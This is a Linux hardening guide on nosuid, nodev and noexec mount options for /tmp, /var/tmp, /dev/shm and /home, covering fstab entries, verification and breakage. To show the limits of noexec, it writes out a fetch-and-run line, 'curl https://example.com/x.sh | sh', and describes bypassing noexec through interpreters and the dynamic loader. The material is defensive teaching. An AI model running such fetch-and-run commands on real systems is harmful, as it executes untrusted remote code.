Mount options that harden /tmp and /home
What nosuid, nodev and noexec really stop on a Linux VPS, the fstab and bind mount entries for /tmp, /var/tmp, /dev/shm and /home, and what breaks.
What nosuid, nodev and noexec actually stop
The mount options nosuid, nodev and noexec each take one power away from a whole filesystem. Set them on the paths an ordinary user or a compromised service can write to, /tmp, /var/tmp, /dev/shm and /home, and a class of cheap attacks stops working there. They cost nothing at runtime, because the kernel checks a flag on the mount rather than a bit on each file.
Here is what each one means, in the words of mount(8):
nosuid: "Do not honor set-user-ID and set-group-ID bits or file capabilities when executing programs from this filesystem." A setuid-root binary copied into anosuidmount still runs. It runs as you, so it hands over nothing.nodev: "Do not interpret character or block special devices on the filesystem." A device node on that mount is an inert file. A copy of/dev/sdamade under/tmpdoes not reach the disk.noexec: "Do not permit direct execution of any binaries on the mounted filesystem."execve()on a file there fails, your shell printsPermission denied, and the exit status is 126.
A setuid (set user ID) program runs with the identity of its owner instead of the identity of the person who started it. That is how passwd edits /etc/shadow on your behalf. It is also how a binary owned by root and planted in a writable directory turns an ordinary shell into a root shell, which is the thing nosuid removes. The important word in the third option is direct.
What noexec does not stop
noexec stops the kernel from executing a file on that mount. It does nothing about an interpreter that opens the same file and reads it. Run this on a box where /tmp is already noexec:
printf '#!/bin/sh\necho payload ran\n' > /tmp/t.sh
chmod +x /tmp/t.sh
/tmp/t.sh
sh /tmp/t.shThe third line fails with -bash: /tmp/t.sh: Permission denied. The fourth prints payload ran. The difference is which file the kernel is asked to execute. In the fourth case that file is /bin/sh, which sits on the root filesystem and is perfectly executable, and /tmp/t.sh is only data that /bin/sh opens and reads. No execve() on the noexec mount ever happens. The same holds for python3 /tmp/x.py, and for curl https://example.com/x.sh | sh, which never writes to the disk at all.
So what is noexec worth? It breaks the most common automated attack on a VPS: a script that drops a compiled ELF (executable and linkable format) binary into /tmp, marks it executable and runs it. Those droppers are written once and reused against thousands of hosts, and most do not check mount options before the run step. You will also read that calling the dynamic loader directly (/lib64/ld-linux-x86-64.so.2 /tmp/prog) sidesteps the option. Current kernels also refuse to map a file from a noexec mount as executable memory, so test that on your own kernel before you count on it in either direction. Treat noexec as a filter that removes low effort attempts, and expect a person who is paying attention to walk straight past it.
nosuid carries the stronger guarantee, because escalation through a planted setuid binary is a mechanism rather than a habit. If the mount says nosuid, the bit does nothing at all. That option is worth setting everywhere it does not break something.
Where to apply these mount options on a VPS
/tmp: world writable with the sticky bit set, and the first place anything drops a file. All three options./var/tmp: the same idea, except its contents are expected to survive a reboot. All three, with the warning below about installers./dev/shm: the memory-backed filesystem behind POSIX shared memory. On a systemd system it is already mountednosuid,nodevby the init code, sonoexecis the only thing you are adding. Check yours instead of assuming./home:nosuidandnodevare safe on almost any server.noexecis a real decision, covered below.
Do not extend this to /usr or /var. noexec on /var stops every package installation, because dpkg runs each package's maintainer scripts out of /var/lib/dpkg/info/, so a server that installs its own security updates would stop applying them.
Check what you have before changing anything
findmnt --target /tmp --output TARGET,SOURCE,FSTYPE,OPTIONS--target accepts any path and shows the filesystem that path lives on. If the TARGET column comes back as / rather than /tmp, then /tmp is not a mount at all. It is a directory on the root filesystem, and it carries the root filesystem's options. That is the normal state on most VPS images. Plain findmnt /tmp is the stricter version of the same question: it prints nothing and exits 1 when /tmp is not a mount point of its own.
A separate filesystem, or a bind mount?
A separate filesystem is the thorough answer. A partition or an LVM (logical volume manager) volume with its own fstab entry gets the mount options and a size limit, so a runaway upload into /tmp cannot fill the disk your database sits on. The catch on a VPS is space. Most images ship as one ext4 partition that already covers the whole disk, and shrinking a mounted root filesystem over SSH is not a repair you want to attempt.
A tmpfs is the easy answer for /tmp and /dev/shm, because both are meant to be volatile. A tmpfs lives in RAM and swap, needs no partitioning, and comes up empty after every reboot.
A bind mount is the answer for a directory you cannot move, such as /home or /var/tmp on a single-partition box. You mount the directory onto itself and attach new options to the new mount. Since util-linux 2.27 you can write those options on the same line, but mount(8) is direct about what happens underneath: "This feature is not supported by the Linux kernel; it is implemented in userspace by an additional mount(2) remounting system call. This solution is not atomic." mount performs the bind, then makes a second call to add the flags. If that second call fails, you are left with a working bind mount carrying none of the options you asked for, and nothing shouts about it. That is why the verification step below is not optional.
The fstab entries
# /tmp in RAM, empty after every reboot
tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,mode=1777,size=512M,nr_inodes=64k 0 0
# shared memory: systemd already sets nosuid and nodev, this adds noexec
tmpfs /dev/shm tmpfs rw,nosuid,nodev,noexec,mode=1777,size=256M 0 0
# bind mounts: same disk, same files, new options
/var/tmp /var/tmp none bind,nosuid,nodev,noexec 0 0
/home /home none bind,nosuid,nodev 0 0mode=1777 is the sticky permission that lets every user write to /tmp without deleting other people's files, and it is worth writing out rather than trusting a default (see what the leading digit in 1777 means). Size the tmpfs for the largest single file anything stages in /tmp, and remember that it is memory you can no longer use for anything else. On a 2 GB VPS, size=512M is a real cost.
Do not turn /var/tmp into a tmpfs. The one thing that separates it from /tmp is that its contents survive a reboot, and the tools that stage large work there, backup and restore jobs above all, are written against that promise. Moving it to RAM breaks the promise and drops a multi-gigabyte restore into your memory at the same time.
Apply it without locking yourself out
sudo cp /etc/fstab /etc/fstab.bak
sudo findmnt --verify --verbose
sudo systemctl daemon-reload
sudo mount -afindmnt --verify parses /etc/fstab and reports the entries it cannot use. A typo caught here is a typo that would otherwise leave the next boot sitting in emergency mode with no SSH. systemctl daemon-reload matters because systemd turns each fstab line into a generated .mount unit, so until you reload, its picture of fstab is the file as it looked at boot.
mount -a is safe for the bind mounts. For /tmp it is not the same thing as a reboot: mounting a fresh tmpfs over a populated /tmp hides everything already there, so a daemon holding a socket under the old /tmp keeps its open file while every new connection looks into an empty directory. Change /tmp, then reboot, and open your provider's console in another tab first. For a filesystem that is already mounted on its own, you can add the options in place with no reboot:
sudo mount -o remount,nosuid,nodev,noexec /tmpVerify that the options really applied
for m in /tmp /var/tmp /dev/shm /home; do findmnt -no TARGET,OPTIONS "$m"; doneEach line should list your options. A path that prints nothing is not a separate mount, which means its fstab entry never took effect. Then prove the behaviour instead of reading it:
cp /bin/true /tmp/exectest
/tmp/exectest; echo "exit $?"
rm /tmp/exectestA hardened /tmp gives -bash: /tmp/exectest: Permission denied and exit 126. Status 126 is the shell saying the file was found and could not be executed, as opposed to 127, which means not found. exit 0 means the mount is not what fstab claims it is.
Test nosuid separately, on a mount that still allows execution, because on a mount carrying both options the exec check fails first and tells you nothing about setuid:
sudo cp /usr/bin/id /home/alice/idtest
sudo chmod u+s /home/alice/idtest
/home/alice/idtest
sudo rm /home/alice/idtestRun as alice on a normal mount, that prints a line ending in euid=0(root), because the setuid bit did its job. On a nosuid mount there is no euid=0 field at all, because the process kept your own user ID. Delete the test file as soon as you have your answer.
What breaks, and the message you will see
Vendor installers. Install scripts that download a self-extracting archive usually unpack it into $TMPDIR, which is /tmp unless you set it, and then run a program from there. You get Permission denied or cannot execute binary file. Give that one command a different temporary directory rather than undoing your hardening for it:
sudo install -d -m 700 /root/staging
sudo env TMPDIR=/root/staging bash ./installer.shAnsible. Ansible copies its Python modules to the target and executes them out of remote_tmp, which defaults to ~/.ansible/tmp. A noexec /home stops every task against that host. Point remote_tmp at a directory that allows execution, or leave /home executable.
Anything a developer runs from home. A Python virtual environment executes venv/bin/python, and ~/.local/bin and node_modules/.bin are files under /home too. noexec on /home is right for a server where people only run system binaries, and wrong for a box that anyone builds software on.
Databases that sort to disk. MySQL and MariaDB default tmpdir to /tmp. That is a size problem rather than an execution problem: a small tmpfs turns a large sort into The table '/tmp/#sql-...' is full. Give the server its own tmpdir on disk, or size the tmpfs for the query.
Docker. Container filesystems live under /var/lib/docker, never under /tmp, so hardening the host /tmp changes nothing inside a container. Leave /var/lib/docker as it is and set the options where they apply, with docker run --tmpfs /tmp:rw,noexec,nosuid,size=64m. Docker is well practised at working around host configuration, in the same way that its published ports bypass your ufw rules.
Snap. Each snap runs in its own mount namespace with a private /tmp, so the options you set on the host /tmp are not what constrains a snap package. Confinement for those is a separate subject with separate controls.
SELinux. On a system running SELinux (security enhanced Linux) in enforcing mode, nosuid does more than drop the setuid bit. mount(8) notes that domain transitions on a nosuid mount require the nosuid_transition permission. A service that stops landing in its own domain right after you harden a path is telling you exactly this, and reading SELinux denials on a server is the next step.
Restores. A restore that writes device nodes or setuid files onto a nodev or nosuid mount still succeeds. The bits are stored in the filesystem, and the mount only refuses to act on them, so the files behave normally again if you ever remove the option.
The per-service version, which is usually better
systemd offers all of this per unit, and a per-unit setting beats a filesystem-wide flag because it constrains one service instead of every process on the machine. PrivateTmp=yes gives a service its own /tmp and /var/tmp that nothing else can see, cleared when the service stops. NoNewPrivileges=yes makes every setuid binary inert for that service and for everything it starts. ProtectHome=yes hides /home from it completely. Run systemd-analyze security nginx.service to see what a unit currently permits and what each setting would change.
Mount options are one thin layer. Anyone who is already root can remount whatever they like, so these flags earn their place only on a server where every service runs as its own unprivileged user and nobody logs in as root out of habit. Put the findmnt loop into whatever you run when you look a server over, next to the other items on your Linux server maintenance checklist, because one fstab edit during a migration is all it takes to quietly hand the options back.
FAQ
Does noexec on /tmp stop malware?
It stops one common pattern: a script that writes a compiled binary into /tmp, marks it executable and runs it. That covers most automated VPS compromises, so the option pays for itself. It does not stop sh /tmp/payload.sh or curl https://example.com/x.sh | sh, because in both of those the program being executed is the interpreter in /usr/bin and the file in /tmp is only data it reads. Treat noexec as a filter, and keep the controls that stop an attacker getting a shell in the first place.
Will nosuid on /home break sudo or SSH?
No. sudo is a setuid binary in /usr/bin and sshd runs from /usr/sbin, so a mount option on /home never touches either one. What nosuid on /home does break is a setuid program someone installed under their own home directory, which is the outcome you want. The option that breaks ordinary work on /home is noexec, because it stops Python virtual environments and anything in ~/.local/bin.
Do I need a separate partition, or is a bind mount enough?
For the mount options themselves, a bind mount is enough. The flags belong to the mount, so a bind mount of /home onto itself with nosuid,nodev enforces exactly what a separate partition would enforce. What a bind mount does not give you is a size limit, because the files still live on the same filesystem, so a full /home is still a full root filesystem. Pick a separate volume when you care about capacity, and a bind mount when you care about the flags.
How do I check whether /tmp already has these options?
Run findmnt --target /tmp --output TARGET,SOURCE,FSTYPE,OPTIONS. If TARGET is /tmp, read the OPTIONS column. If TARGET comes back as /, then /tmp is only a directory on the root filesystem and has no options of its own, which is the usual state of a fresh VPS image. After any change, confirm it with a real test: cp /bin/true /tmp/exectest && /tmp/exectest should give Permission denied and exit status 126.